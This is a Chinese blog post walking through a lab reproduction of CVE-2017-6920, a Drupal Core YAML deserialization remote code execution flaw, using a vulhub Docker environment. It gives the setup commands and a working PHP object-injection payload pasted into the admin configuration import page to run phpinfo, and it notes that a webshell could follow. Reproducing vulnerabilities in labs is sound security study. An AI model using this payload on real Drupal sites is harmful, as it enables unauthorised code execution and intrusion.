🍬 博主介绍
👨🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!
文章目录
- 🍬 博主介绍
- 一、漏洞编号
- 二、影响范围
- 三、漏洞描述
- 四、环境搭建
- 1、进入CVE-2017-6920环境
- 2、启动CVE-2017-6920环境
- 3、查看CVE-2017-6920环境
- 4、安装yaml拓展
- 5、访问CVE-2017-6920环境
- 6、查看CVE-2017-6920漏洞提示信息
- 7、关闭CVE-2017-6920环境
- 五、漏洞复现
- 1、访问漏洞点
- 2、导入POC
- 3、复现成功
- 六、漏洞修复
- 七、相关资源
一、漏洞编号
CVE-2017-6920
二、影响范围
Drupal < 8.3.4
三、漏洞描述
Drupal是使用PHP语言编写的开源内容管理框架(CMF),它由内容管理系统(CMS)和PHP开发框架(Framework)共同构成,在GPL2.0及更新协议下发布。连续多年荣获全球最佳CMS大奖,是基于PHP语言最著名的WEB应用程序。CVE-2017- 6920 是Drupal Core的YAML解析器处理不当所导致的一个远程代码执行漏洞,影响8.x的Drupal Core。
四、环境搭建
1、进入CVE-2017-6920环境
cd vulhub/confluence/CVE-2017-6920
2、启动CVE-2017-6920环境
docker-compose up -d
3、查看CVE-2017-6920环境
docker-compose ps
4、安装yaml拓展
1.查看容器信息
docker ps
2.进入容器
docker exec -it 容器ID /bin/bash
3.换镜像源
默认带vim编辑器,所以用cat换源,可以换成自己喜欢的源
cat > sources.list << EOF
deb http://mirrors.163.com/debian/ jessie main non-free contrib
deb http://mirrors.163.com/debian/ jessie-updates main non-free contrib
deb http://mirrors.163.com/debian/ jessie-backports main non-free contrib
deb-src http://mirrors.163.com/debian/ jessie main non-free contrib
deb-src http://mirrors.163.com/debian/ jessie-updates main non-free contrib
deb-src http://mirrors.163.com/debian/ jessie-backports main non-free contrib
deb http://mirrors.163.com/debian-security/ jessie/updates main non-free contrib
deb-src http://mirrors.163.com/debian-security/ jessie/updates main non-free contrib
EOF
4.安装依赖
apt update
apt-get -y install gcc make autoconf libc-dev pkg-config
apt-get -y install libyaml-dev
- 安装yaml扩展
pecl install yaml
pecl install yaml docker-php-ext-enable yaml.so
6.启用 yaml.decode_php
echo 'yaml.decode_php = 1 = 1'>>/usr/local/etc/php/conf.d/docker-php-ext-yaml.ini
7.退出容器
exit
8.重启容器
docker restart 容器ID
5、访问CVE-2017-6920环境
环境启动后,访问http://your-ip:8080,将会看到drupal的安装页面,一路默认配置下一步安装。
因为没有mysql环境,所以安装的时候可以选择sqlite数据库。
中文装不了就装英文
一直默认安装就行,然后数据库配置这一块儿选择SQLite
然后就会自动安装srupal
设置站点名称,登陆账号密码啥的
站点名称我就设置为powershell
邮箱随便设置,我设置了123@qq.com
账号我就设置为root,密码我就设置为123456了
更新配置中
自动登录进入了网站
6、查看CVE-2017-6920漏洞提示信息
cat README.md
7、关闭CVE-2017-6920环境
复现完记得关闭环境
docker-compose down
五、漏洞复现
1、访问漏洞点
登录管理员账户,访问
http://your-ip:8080/admin/config/development/configuration/single/import
界面如下:
2、导入POC
如下图所示,配置类型选择 简单配置,配置名称任意填写,文本处中填写PoC如下:
!php/object"O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\0GuzzleHttp\\Psr7\\FnStream\0methods\";a:1:{s:5:\"close\";s:7:\"phpinfo\";}s:9:\"_fn_close\";s:7:\"phpinfo\";}"
点击导入,漏洞触发:
3、复现成功
回显出phpinfo信息
既然能执行命令,那我们也可以写入webshell
六、漏洞修复
升级Drupal为最新版本
七、相关资源
1、docker 搭建 vulhub 靶场环境
2、[ vulhub漏洞复现篇 ] vulhub 漏洞集合 - 表格版本(含漏洞复现文章连接)
3、[ vulhub漏洞复现篇 ] vulhub 漏洞集合(含漏洞复现文章连接)